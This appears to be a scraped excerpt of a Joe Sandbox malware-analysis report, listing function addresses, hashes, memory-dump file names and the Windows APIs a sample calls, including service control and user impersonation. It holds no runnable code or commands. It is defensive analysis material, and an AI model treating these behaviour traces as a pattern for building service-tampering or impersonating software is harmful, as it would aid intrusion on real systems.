Associated: 0000000D.00000002.2651393710.0000000000698000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651416801.00000000006A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651442425.00000000006A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651479649.00000000006DD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651506349.00000000006DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651577945.00000000006F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651600321.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_450000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 94e110ebbf5e5e2e84dbde28d6b9d844c79e1bd1d0d2e05a12631351bed8193e
Instruction ID: 79173534be054491ba3d130222ec50de9791c903d9aec901def6babe4799cc5a
Opcode Fuzzy Hash: 94e110ebbf5e5e2e84dbde28d6b9d844c79e1bd1d0d2e05a12631351bed8193e
Instruction Fuzzy Hash: F411D6B6104209AEE720DF5C99047FE3AA9F756330F344837A801D3B52E7700D149A18

Function 048C0D43 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 048C0DCD

Memory Dump Source

Source File: 0000000D.00000002.2653892865.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_48c0000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 8036f1bff5fb9207b183e82aefd96459bc138e697561a1b4be61e7cca4b865d4
Instruction ID: fa69ea560e2a057a7086e3173980053ea0bfb770b4909e83b1b56a6064e90963
Opcode Fuzzy Hash: 8036f1bff5fb9207b183e82aefd96459bc138e697561a1b4be61e7cca4b865d4
Instruction Fuzzy Hash: 5D2138B6C00219DFCB50CF99D884BDEFBF5EF89720F14861AD908AB204D774A541CBA5

Function 048C0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 048C0DCD

Memory Dump Source

Source File: 0000000D.00000002.2653892865.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_48c0000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 2bd1a5bbe3d66b1c7b9f8c2bb11990a240231543927e5ab52c56a00bde5dafe9
Instruction ID: 4726af2ce0647a100bd2d4767fb7e429a5e7ade7538ca359f64df69daa88c37f
Opcode Fuzzy Hash: 2bd1a5bbe3d66b1c7b9f8c2bb11990a240231543927e5ab52c56a00bde5dafe9
Instruction Fuzzy Hash: 132115B6C01219DFCB50CF99D884BDEFBF5EF89720F14861AD908AB204D774A544CBA5

Function 048C1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 048C1580

Memory Dump Source

Source File: 0000000D.00000002.2653892865.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_48c0000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: e3513348ff748eb820d57bde77110674bc31944d6120eed8587326668110dd3d
Instruction ID: 2fe0fd52393ed354d7012983389dd7f106d0425b737e10b7e7066eed1a977538
Opcode Fuzzy Hash: e3513348ff748eb820d57bde77110674bc31944d6120eed8587326668110dd3d
Instruction Fuzzy Hash: D62133B28002099FDB10CF9AC484BDEFBF4AB48320F108529E559A3241D378AA44CFA5

Function 048C1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 048C1580

Memory Dump Source

Source File: 0000000D.00000002.2653892865.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_48c0000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 9cf184d5ce175750b62d5a9d6a9bc02529cc05a3996961b6da33dfe5fbec3e00
Instruction ID: 5a7853ca92320fb527a51b915dc0a016777ebdae884d961bf5cf554b87ecfa4b
Opcode Fuzzy Hash: 9cf184d5ce175750b62d5a9d6a9bc02529cc05a3996961b6da33dfe5fbec3e00
Instruction Fuzzy Hash: 0E1103B29002498FDB10CF9AC584BDEFBF4AB48320F108429E518A3241D378AA44CFA5

Function 005D8B8E Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 005D8BE5

Memory Dump Source

Source File: 0000000D.00000002.2650616196.00000000005D4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00450000, based on PE: true

Associated: 0000000D.00000002.2650197484.0000000000450000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650233519.0000000000452000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650281766.0000000000456000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650308593.000000000045A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650342285.0000000000464000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650367632.0000000000465000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650392648.0000000000466000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650521613.00000000005B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650543231.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650571909.00000000005D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650597487.00000000005D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650616196.00000000005DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650666977.00000000005E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650690539.00000000005E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650718801.00000000005F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650744249.00000000005F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650772809.000000000060F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650815301.0000000000620000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650841729.000000000062E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650871846.0000000000632000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650893178.0000000000633000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650918578.0000000000635000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650946547.0000000000641000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650971677.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650996271.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651019009.0000000000650000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651044791.0000000000651000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651077986.0000000000655000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651106370.0000000000667000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651165184.000000000066A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651187508.000000000066B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651211022.0000000000672000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651236754.000000000067A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651260788.000000000067B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651283421.000000000067C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651304817.0000000000683000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651327752.0000000000692000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651350055.0000000000694000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651368906.0000000000695000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651393710.0000000000698000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651416801.00000000006A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651442425.00000000006A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651479649.00000000006DD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651506349.00000000006DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651577945.00000000006F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651600321.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_450000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f109f834b16558688c064ee9001c88fb140e6a269f5ddfe7637ab893a55bc2f0
Instruction ID: dbd84afdff37b50f455fd4c958984b9572ddb1f22ecc343975de94f49ac48808
Opcode Fuzzy Hash: f109f834b16558688c064ee9001c88fb140e6a269f5ddfe7637ab893a55bc2f0
Instruction Fuzzy Hash: 24019EB620810AAEEB20DF5CD9147FE3BE9FB95320F24442BA805C3B82D6755D54CB28

Function 005D8BA9 Relevance: 1.6, APIs: 1, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 005D8BE5

Memory Dump Source

Source File: 0000000D.00000002.2650616196.00000000005D4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00450000, based on PE: true

Associated: 0000000D.00000002.2650197484.0000000000450000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650233519.0000000000452000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650281766.0000000000456000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650308593.000000000045A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650342285.0000000000464000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650367632.0000000000465000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650392648.0000000000466000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650521613.00000000005B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650543231.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650571909.00000000005D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650597487.00000000005D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650616196.00000000005DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650666977.00000000005E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650690539.00000000005E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650718801.00000000005F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650744249.00000000005F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650772809.000000000060F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650815301.0000000000620000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650841729.000000000062E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650871846.0000000000632000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650893178.0000000000633000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650918578.0000000000635000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650946547.0000000000641000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650971677.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650996271.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651019009.0000000000650000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651044791.0000000000651000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651077986.0000000000655000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651106370.0000000000667000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651165184.000000000066A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651187508.000000000066B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651211022.0000000000672000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651236754.000000000067A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651260788.000000000067B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651283421.000000000067C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651304817.0000000000683000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651327752.0000000000692000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651350055.0000000000694000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651368906.0000000000695000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651393710.0000000000698000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651416801.00000000006A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651442425.00000000006A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651479649.00000000006DD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651506349.00000000006DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651577945.00000000006F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651600321.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_450000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7d1558965fcf6961642d4a1c5ff138cb5df163f741e2605353c4c9d070e83c70
Instruction ID: a1eed70907956183fa226a604fdbc8472dbbf4f2ba0a9a2bde16643d5283640a
Opcode Fuzzy Hash: 7d1558965fcf6961642d4a1c5ff138cb5df163f741e2605353c4c9d070e83c70
Instruction Fuzzy Hash: AA01C0B6608249CEEB24DF2CD8153AE3BE0FB65311F24086BE405C3B92CA355D54CB09

Function 048C1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 048C1367

Memory Dump Source

Source File: 0000000D.00000002.2653892865.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_48c0000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 4c48814da58efab590284f56bbfa05d77902461671fb00151dd3ca561e5828bb
Instruction ID: 3799aba828e399bc56102823922c4eca098fe72372fa8564740d3337f33b0cd4
Opcode Fuzzy Hash: 4c48814da58efab590284f56bbfa05d77902461671fb00151dd3ca561e5828bb
Instruction Fuzzy Hash: 221158B2800249CFDB10CFAAC544BDEFBF4EF48324F248459D518A3641C778A944CFA5

Function 048C1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 048C1367

Memory Dump Source

Source File: 0000000D.00000002.2653892865.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_48c0000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 29af5ea03a0e4d39dd44493d7f2469a035b8e423ec2d2cdcebc1e840823e355f
Instruction ID: 6e548cdc3e5657497b21ecfafc4186d4f969853089fe6e36816d62789079c8a9
Opcode Fuzzy Hash: 29af5ea03a0e4d39dd44493d7f2469a035b8e423ec2d2cdcebc1e840823e355f
Instruction Fuzzy Hash: A41125B1800249CFDB10CFAAC544BDEFBF4AF48724F20841AD558A3640D778A944CFA5

Function 005D8BC7 Relevance: 1.5, APIs: 1, Instructions: 43
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 005D8BE5

Memory Dump Source

Source File: 0000000D.00000002.2650616196.00000000005D4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00450000, based on PE: true

Associated: 0000000D.00000002.2650197484.0000000000450000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650233519.0000000000452000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650281766.0000000000456000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650308593.000000000045A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650342285.0000000000464000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650367632.0000000000465000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650392648.0000000000466000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650521613.00000000005B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650543231.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650571909.00000000005D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650597487.00000000005D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650616196.00000000005DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650666977.00000000005E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650690539.00000000005E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650718801.00000000005F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650744249.00000000005F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650772809.000000000060F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650815301.0000000000620000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650841729.000000000062E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650871846.0000000000632000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650893178.0000000000633000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650918578.0000000000635000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650946547.0000000000641000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650971677.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650996271.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651019009.0000000000650000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651044791.0000000000651000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651077986.0000000000655000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651106370.0000000000667000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651165184.000000000066A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651187508.000000000066B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651211022.0000000000672000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651236754.000000000067A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651260788.000000000067B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651283421.000000000067C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651304817.0000000000683000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651327752.0000000000692000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651350055.0000000000694000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651368906.0000000000695000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651393710.0000000000698000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651416801.00000000006A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651442425.00000000006A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651479649.00000000006DD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651506349.00000000006DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651577945.00000000006F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651600321.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_450000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5aa27515855c32e71f09e32fba5b5a1b13f19e050d5434bf7547385f15b65ef0
Instruction ID: 6059672c159de9829353f58bcf87e00d5d7bace3011f29b5d58161d990176ff1
Opcode Fuzzy Hash: 5aa27515855c32e71f09e32fba5b5a1b13f19e050d5434bf7547385f15b65ef0
Instruction Fuzzy Hash: 4D017CB660818A8EDB24DF2CD9547BE3BE5FB94311F28452BD444D3A91C7355C50CB18

Function 005D8BB7 Relevance: 1.5, APIs: 1, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 005D8BE5

Memory Dump Source

Source File: 0000000D.00000002.2650616196.00000000005D4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00450000, based on PE: true

Associated: 0000000D.00000002.2650197484.0000000000450000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650233519.0000000000452000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650281766.0000000000456000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650308593.000000000045A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650342285.0000000000464000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650367632.0000000000465000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650392648.0000000000466000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650521613.00000000005B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650543231.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650571909.00000000005D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650597487.00000000005D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650616196.00000000005DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650666977.00000000005E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650690539.00000000005E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650718801.00000000005F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650744249.00000000005F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650772809.000000000060F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650815301.0000000000620000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650841729.000000000062E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650871846.0000000000632000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650893178.0000000000633000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650918578.0000000000635000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650946547.0000000000641000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650971677.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650996271.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651019009.0000000000650000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651044791.0000000000651000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651077986.0000000000655000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651106370.0000000000667000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651165184.000000000066A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651187508.000000000066B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651211022.0000000000672000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651236754.000000000067A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651260788.000000000067B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651283421.000000000067C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651304817.0000000000683000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651327752.0000000000692000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651350055.0000000000694000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651368906.0000000000695000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651393710.0000000000698000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651416801.00000000006A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651442425.00000000006A2000.00000040.00000001.01000000.00000006.sdmpDownload File
